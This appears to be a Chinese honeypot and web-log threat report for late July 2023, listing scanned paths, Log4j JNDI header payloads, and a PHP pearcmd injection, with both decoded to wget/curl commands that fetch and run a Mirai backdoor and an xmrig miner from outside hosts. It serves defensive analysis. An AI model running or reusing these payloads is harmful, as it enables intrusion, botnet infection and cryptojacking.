总览

数据集日期范围：2023-07-24 至 2023-08-01
数据集采样范围：蜜罐系统、Web应用日志

捕获情况

web日志

地址爆破路径

/owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f
/wp-login.php
/1.php
/phpmyadmin
/ReportServer
/aaa9
/aaa8
/?action=checkLatest
/boaform/admin/formLogin
/.git/config
/.git/index
/YUu9
/eGlE
login.cgi
/admin-app/.env
/back/.env
/cms/.env
/apps/.env
/private/.env
/live_env
/core/.env
/.env.dist
/.env.development
/.env.project
/.env.old
/local/.env
/docker/.env
/shared/.env
/application/.env
/app/.env
/script/.env
/api/.env
/system/.env
/rest/.env
/sources/.env
/cp/.env
/fedex/.env
/laravel/.env
/debug/default/view?panel=config
/frontend_dev.php/$
/?phpinfo=1
/_profiler/phpinfo
/.json
enviroments/.env
/beian.htm
/blog/wp-includes/wlwmanifest.xml
/web/wp-includes/wlwmanifest.xml
/wordpress/wp-includes/wlwmanifest.xml
/website/wp-includes/wlwmanifest.xml
/news/wp-includes/wlwmanifest.xml
/wp1/wp-includes/wlwmanifest.xml
/sito/wp-includes/wlwmanifest.xml
/cms/wp-includes/wlwmanifest.xml
/wp2/wp-includes/wlwmanifest.xml
/test/wp-includes/wlwmanifest.xml
/wp/wp-includes/wlwmanifest.xml
/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>

log4j UA体

t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45.137.203.104:7266/TomcatBypass/Command/Base64/d2dldCAtbyAvdG1wL2JveHNoZWxsMyBodHRwOi8vMTcyLjI0NS4xMzUuMTc1L3NlcnZlci9ib3hzaGVsbDMgOyBjdXJsIC1vIC90bXAvYm94c2hlbGwzIGh0dHA6Ly8xNzIuMjQ1LjEzNS4xNzUvc2VydmVyL2JveHNoZWxsMyA7IGNobW9kICt4IC90bXAvYm94c2hlbGwzIDsgY2htb2QgNzc3IC90bXAvYm94c2hlbGwzIDsgL3RtcC9ib3hzaGVsbDMgeDg2IDsgcm0gLXJmIC90bXAvYm94c2hlbGwz}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45.137.203.104:7266/TomcatBypass/Command/Base64/d2dldCAtbyAvdG1wL2JveHNoZWxsMyBodHRwOi8vMTcyLjI0NS4xMzUuMTc1L3NlcnZlci9ib3hzaGVsbDMgOyBjdXJsIC1vIC90bXAvYm94c2hlbGwzIGh0dHA6Ly8xNzIuMjQ1LjEzNS4xNzUvc2VydmVyL2JveHNoZWxsMyA7IGNobW9kICt4IC90bXAvYm94c2hlbGwzIDsgY2htb2QgNzc3IC90bXAvYm94c2hlbGwzIDsgL3RtcC9ib3hzaGVsbDMgeDg2IDsgcm0gLXJmIC90bXAvYm94c2hlbGwz}')

解析

⚠：此文件包含病毒Backdoor/Linux.Mirai.ck

wget -o /tmp/boxshell3 http://172.245.135.175/server/boxshell3 ; curl -o /tmp/boxshell3 http://172.245.135.175/server/boxshell3 ; chmod +x /tmp/boxshell3 ; chmod 777 /tmp/boxshell3 ; /tmp/boxshell3 x86 ; rm -rf /tmp/boxshell3

蜜罐捕获

样本数：108402

IP排名

端口排名

（xmrig）挖矿特征

php语言

GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode("cGtpbGwgLTkgLmZveG07IGNkIC90bXA7IHdnZXQgaHR0cDovLzEwOS4yMDYuMjQyLjI1MS9kb3dubG9hZC94bXJpZy54ODZfNjQ7IG12IHhtcmlnLng4Nl82NCAuZm94bTsgY2htb2QgK3ggLmZveG07IC4vLmZveG07IGVjaG8gRG9udEdldE1hZE9r"));?>+/tmp/ohhellohttpserver.php HTTP/1.1\r\nAccept: */*\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: keep-alive\r\nHost: ***:8090\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Custom-HttpClient\r\n\r\n```

解析后：

pkill -9 .foxm; cd /tmp; wget http://109.206.242.251/download/xmrig.x86_64; mv xmrig.x86_64 .foxm; chmod +x .foxm; ./.foxm; echo DontGetMadOk

log4j漏洞

GET / HTTP/1.1\r\nAccept: application/json, text/plain, */*\r\nX-Api-Version: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45.137.203.104:7266/TomcatBypass/Command/Base64/d2dldCAtbyAvdG1wL2JveHNoZWxsMyBodHRwOi8vMTcyLjI0NS4xMzUuMTc1L3NlcnZlci9ib3hzaGVsbDMgOyBjdXJsIC1vIC90bXAvYm94c2hlbGwzIGh0dHA6Ly8xNzIuMjQ1LjEzNS4xNzUvc2VydmVyL2JveHNoZWxsMyA7IGNobW9kICt4IC90bXAvYm94c2hlbGwzIDsgY2htb2QgNzc3IC90bXAvYm94c2hlbGwzIDsgL3RtcC9ib3hzaGVsbDMgeDg2IDsgcm0gLXJmIC90bXAvYm94c2hlbGwz}')\r\nUser-Agent: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45.137.203.104:7266/TomcatBypass/Command/Base64/d2dldCAtbyAvdG1wL2JveHNoZWxsMyBodHRwOi8vMTcyLjI0NS4xMzUuMTc1L3NlcnZlci9ib3hzaGVsbDMgOyBjdXJsIC1vIC90bXAvYm94c2hlbGwzIGh0dHA6Ly8xNzIuMjQ1LjEzNS4xNzUvc2VydmVyL2JveHNoZWxsMyA7IGNobW9kICt4IC90bXAvYm94c2hlbGwzIDsgY2htb2QgNzc3IC90bXAvYm94c2hlbGwzIDsgL3RtcC9ib3hzaGVsbDMgeDg2IDsgcm0gLXJmIC90bXAvYm94c2hlbGwz}')\r\nReferer: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45.137.203.104:7266/TomcatBy

GET / HTTP/1.1\r\nAccept: application/json, text/plain, */*\r\nX-Api-Version: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//193.111.250.21:6554/TomcatBypass/Command/Base64/d2dldCAtbyAvdG1wL2JveHNoZWxsMyBodHRwOi8vMTcyLjI0NS4xMzUuMTc1L3NlcnZlci9ib3hzaGVsbDMgOyBjdXJsIC1vIC90bXAvYm94c2hlbGwzIGh0dHA6Ly8xNzIuMjQ1LjEzNS4xNzUvc2VydmVyL2JveHNoZWxsMyA7IGNobW9kICt4IC90bXAvYm94c2hlbGwzIDsgY2htb2QgNzc3IC90bXAvYm94c2hlbGwzIDsgL3RtcC9ib3hzaGVsbDMgeDg2IDsgcm0gLXJmIC90bXAvYm94c2hlbGwz}')\r\nUser-Agent: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//193.111.250.21:6554/TomcatBypass/Command/Base64/d2dldCAtbyAvdG1wL2JveHNoZWxsMyBodHRwOi8vMTcyLjI0NS4xMzUuMTc1L3NlcnZlci9ib3hzaGVsbDMgOyBjdXJsIC1vIC90bXAvYm94c2hlbGwzIGh0dHA6Ly8xNzIuMjQ1LjEzNS4xNzUvc2VydmVyL2JveHNoZWxsMyA7IGNobW9kICt4IC90bXAvYm94c2hlbGwzIDsgY2htb2QgNzc3IC90bXAvYm94c2hlbGwzIDsgL3RtcC9ib3hzaGVsbDMgeDg2IDsgcm0gLXJmIC90bXAvYm94c2hlbGwz}')\r\nReferer: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//193.111.250.21:6554/TomcatBy

RDP 爆破用户名

综合汇总